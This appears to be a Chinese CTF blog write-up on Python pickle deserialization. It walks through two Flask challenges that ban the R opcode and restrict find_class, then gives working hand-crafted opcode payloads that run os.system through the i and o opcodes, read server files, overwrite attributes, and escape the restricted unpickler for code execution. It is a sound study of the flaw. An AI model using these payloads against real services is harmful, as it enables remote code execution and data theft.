航神在队里的训练平台放了几个题并分享了他的发现
以此记录一下
航神tql ORZ
1.题目引发的思考
首先是这样一个题:
import base64 import pickle from flask import Flask, Response, render_template, request import favorite app = Flask(__name__) class Animal: def __init__(self, name, category): self.name = name self.category = category def __repr__(self): return f'Animal(name={self.name!r}, category={self.category!r})' def __eq__(self, other): return type(other) is Animal and self.name == other.name and self.category == other.category def read(filename, encoding='utf-8'): with open(filename, 'r', encoding=encoding) as fin: return fin.read() @app.route('/', methods=['GET', 'POST']) def index(): if request.args.get('source'): return Response(read(__file__), mimetype='text/plain') if request.method == 'POST': try: pickle_data = request.form.get('data') if b'R' in base64.b64decode(pickle_data): return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.' else: result = pickle.loads(base64.b64decode(pickle_data)) if type(result) is not Animal: return 'Are you sure that is an animal???' correct = (result == Animal(favorite.name, favorite.category)) return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct) except Exception as e: return 'something wrong...' sample_obj = Animal('kitty', 'cat') pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode() return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data) if __name__ == '__main__': app.run(host='127.0.0.1', port=5000)
可能第一反应是写__reduce__函数来执行命令,但是这里在字节流里ban了R,就无法使用reduce执行命令(原因后面说)
2.pickle的本质
下面抄自P牛博客:
pickle实际上是一门栈语言,他有不同的几种编写方式,通常我们人工编写的话,是使用protocol=0的方式来写。而读取的时候python会自动识别传入的数据使用哪种方式,下文内容也只涉及protocol=0的方式。
和传统语言中有变量、函数等内容不同,pickle这种堆栈语言,并没有“变量名”这个概念,所以可能有点难以理解。pickle的内容存储在如下两个位置中:
stack 栈
memo 一个列表,可以存储信息
对于这样一个类
import pickle import os class Animal: def __reduce__(self): return (os.system, ('ls',)) def __init__(self, name, category): self.name = name self.category = category def __repr__(self): return f'Animal(name={self.name!r}, category={self.category!r})' def __eq__(self, other): return type(other) is Animal and self.name == other.name and self.category == other.category obj = Animal('eustiar', 'man') data = pickle.dumps(obj) print(data)
他反序列化之后的opcode是这样的:
\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00lsq\x01\x85q\x02Rq\x03.
可以使用以下命令进行分析:
python -m pickletools pickle
对于每个opcode的解释如下:
\x80 指定所用协议版本,目前有1、2、3、4四个版本 \x03 前面提到的版本,这里是版本3 c 引入模块中的对象,模块名和对象名以换行符分割,引入的对象push到栈中 posix 要引入的模块名,unix中的os就是posix system 要引入的对象名 q 将当前栈顶的元素存储到memo这个字典中,key为q后面的参数,value为栈顶元素 \x00 q的参数 X 往栈顶push一个四字节的unicode字符串,其后四字节为参数,在之后为要push的字符串 \x02\x00\x00\x00 要push的字符串长度 ls 要push的字符串 \x85 将栈顶元素push到一个空元组再重新压入栈,相当于 stack[-1] = tuple(stack[-1:]) R 从栈上弹出两个元素,分别是可执行对象和参数元组,并执行,结果压入栈中,执行前: .. callable pytuple 执行后: .. callable(*pytuple) . 将stack弹出一个元素作为返回结果,结束程序
可以看到,命令执行的关键就是R调用了函数,所以把R给ban掉,就无法执行命令了
可是真是无法RCE了么?
我们可以从pickle源码中找到答案,去读pickle.py源码
3.pickle.py
self._unframer = _Unframer(self._file_read, self._file_readline) self.read = self._unframer.read self.readline = self._unframer.readline self.metastack = [] self.stack = [] self.append = self.stack.append self.proto = 0 read = self.read dispatch = self.dispatch try: while True: key = read(1) if not key: raise EOFError assert isinstance(key, bytes_types) dispatch[key[0]](self) except _Stop as stopinst: return stopinst.value
这是python的pickle库关于load部分的源码
其中比较关键的几个变量:
stack,就是之前提到的stack,最主要的结构
metastack,这是用来存储stack的一个stack,在涉及到mark,pop_mark等opcode时用到,简单来说,stack是当前使用的栈,可以将它压到metastack中储存,另用一个新栈,也可以将当前栈舍弃,从metastack中取出栈使用
dispatch,一个字典,key为opcode,值为对应的函数
这里没有memo,他是在之前的init就定义好了的,就是一个dict结构
可以看到,对于opcode,他就是每次读一个字节,然后按照dispatch映射的函数执行
接下来去看看一下dispatch中函数的具体实现,首先我们看一下被ban掉的R
先将栈顶的元素弹出作为参数,再将栈顶元素作为可执行对象,以func(*args)的形式直接调用,结果还是放在栈顶
R被ban掉的情况下,我们审计一下其他函数,期望能找到别的执行命令的函数
_instantiate
我们找到了_instantiate这样一个函数,他接受两个参数,在第二个参数非空时,会执行
value = klass(*args)
与reduce的形式如出一辙,最后的执行结果通过append添加到了当前stack的顶部
然后我们去找一下谁调用了这个函数
load_inst & load_obj
可以看到load_inst(对应opcode中的i)和load_obj(对应opcode中的o)都调用了这个函数
对于load_inst,_instantiate的第一个参数直接由跟在i之后的字符串决定,第二个参数由pop_mark()得到,它的效果就是将metastack栈顶的栈返回,作为新的当前栈,然后将之前使用的栈作为返回值返回,也就是说依旧可由我们控制,所以两个参数均可控,可以实现RCE
对于load_obj,_instantiate的第一个参数是pop_mark()得到的栈的栈底元素(注意,是栈底),第二个参数为该栈的剩余元素,所以依旧是可控的,可以RCE
4.RCE
说了这么多,我们具体来看一下效果
接下来是手搓opcode的时间,具体每个opcode的效果不再赘述,有兴趣的同学可以去看一下pickle.py
import pickle data = b"\x80\x03(S'ls'\nios\nsystem\n." pickle.loads(data)
执行上述代码
可以看到,成功用i执行了ls命令
import pickle data = b"\x80\x03(cos\nsystem\nS'ls'\no." pickle.loads(data)
同样可以用o执行ls命令
对于原题,通过RCE,我们可以直接去读favorite.py获得name和category,正常提交即可
(其实这算是非预期解,预期解应该是通过c这个opcode引入favorite的name和category,让其反序列化时不用硬编码,而是去favorite中找值)
5.更进一步
出题人得到这个非预期解的反馈后,又出了另外一题
import base64 import io import sys import pickle from flask import Flask, Response, render_template, request import favorite app = Flask(__name__) class Animal: def __init__(self, name, category): self.name = name self.category = category def __repr__(self): return f'Animal(name={self.name!r}, category={self.category!r})' def __eq__(self, other): return type(other) is Animal and self.name == other.name and self.category == other.category class RestrictedUnpickler(pickle.Unpickler): def find_class(self, module, name): if module == '__main__': return getattr(sys.modules['__main__'], name) raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name)) def restricted_loads(s): return RestrictedUnpickler(io.BytesIO(s)).load() def read(filename, encoding='utf-8'): with open(filename, 'r', encoding=encoding) as fin: return fin.read() @app.route('/', methods=['GET', 'POST']) def index(): if request.args.get('source'): return Response(read(__file__), mimetype='text/plain') if request.method == 'POST': try: pickle_data = request.form.get('data') if b'R' in base64.b64decode(pickle_data): return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.' else: result = restricted_loads(base64.b64decode(pickle_data)) if type(result) is not Animal: return 'Are you sure that is an animal???' correct = (result == Animal(favorite.name, favorite.category)) return render_template('unpickle_result.html', result=result, pickle_data=pickle_data, giveflag=correct) except Exception as e: print(repr(e)) return "Something wrong" sample_obj = Animal('kitty', 'cat') pickle_data = base64.b64encode(pickle.dumps(sample_obj)).decode() return render_template('unpickle_page.html', sample_obj=sample_obj, pickle_data=pickle_data) if __name__ == '__main__': app.run(host='0.0.0.0', port=5000)
可以看到,出题人通过重写RestrictedUnpickler来限制了find_class只能从__main__获取
这题还是有多解,不知道哪个是预期解
1.read
这里有个自定义的函数read,可以通过__main__获取,所以我们可以用这个配合i或者o来读favorite.py
构造如下opcode:
b"\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03(c__main__\nread\nS'favorite.py'\noX\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00manq\x06ub."
base64编码后提交,可以获得真正的name和category,再次构造一个类提交即可
2.cover
这是坤坤使用的方法,坤坤tql
首先介绍一下opcode中的b,build,首先看一下源码:
简单来说,就是先将stack栈顶元素弹出作为state,该元素为一个dict,而此时栈顶元素为inst对象,然后用dict中的值为inst对象赋值,key为变量名,value为值
可以看一个例子来说明一下
这是序列化了一个Animal对象,有name和category两个属性,值分别为eustiar和man
其中u是调用pop_mark(),将目前栈里的元素name,eustiar,category,man按照key,value,key,value的顺序放到新取出的栈的栈顶字典里(也就是要求这个栈顶必须是一个dict)
b是将当前栈中的空Animal对象与新加入的栈顶字典按照上面提到的方式进行赋值
既然b可以用来赋值,name我们就可以引入favorite对象,将它的值通过b给覆盖成我们指定的值,然后提交这个值的对象即可
payload:
b"\x80\x03c__main__\nfavorite\n}(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00eustiarq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00manub0c__main__\nAnimal\nq\x00)\x81q\x01}q\x02(X\x04\x00\x00\x00nameq\x03X\x07\x00\x00\x00eustiarq\x04X\x08\x00\x00\x00categoryq\x05X\x03\x00\x00\x00manq\x06ub."
这里是c引入了favorite,使用b将其值修改后,pop掉然后再push一个正常的Animal,其中值是我们之前的覆盖值
成功getflag
注意,这个覆盖只是发生在内存里的,并不会真正修改服务器上的文件
3.RCE
没想到吧, 我 坤坤还是能RCE
坤坤tql
payload:
b'\x80\x03c__main__\n__builtins__\n}(Vsys\nc__main__\nsys\nubc__main__\nsys\n}(Vmodules\n}(V__main__\nc__main__\n__builtins__\nuubc__main__\nsys\n}(Vmodules\n}(V__main__\n(Vos\ni__main__\n__import__\nuub(Vls\ni__main__\nsystem\n000.'
先用builtins覆盖了main,然后用os覆盖了main,最后system执行命令
当然,这么搞一次之后环境就乱掉了,必须重启服务(有种穿上裤子就跑的感觉23333
6.conclusion
航神tql
坤坤tql
别用pickle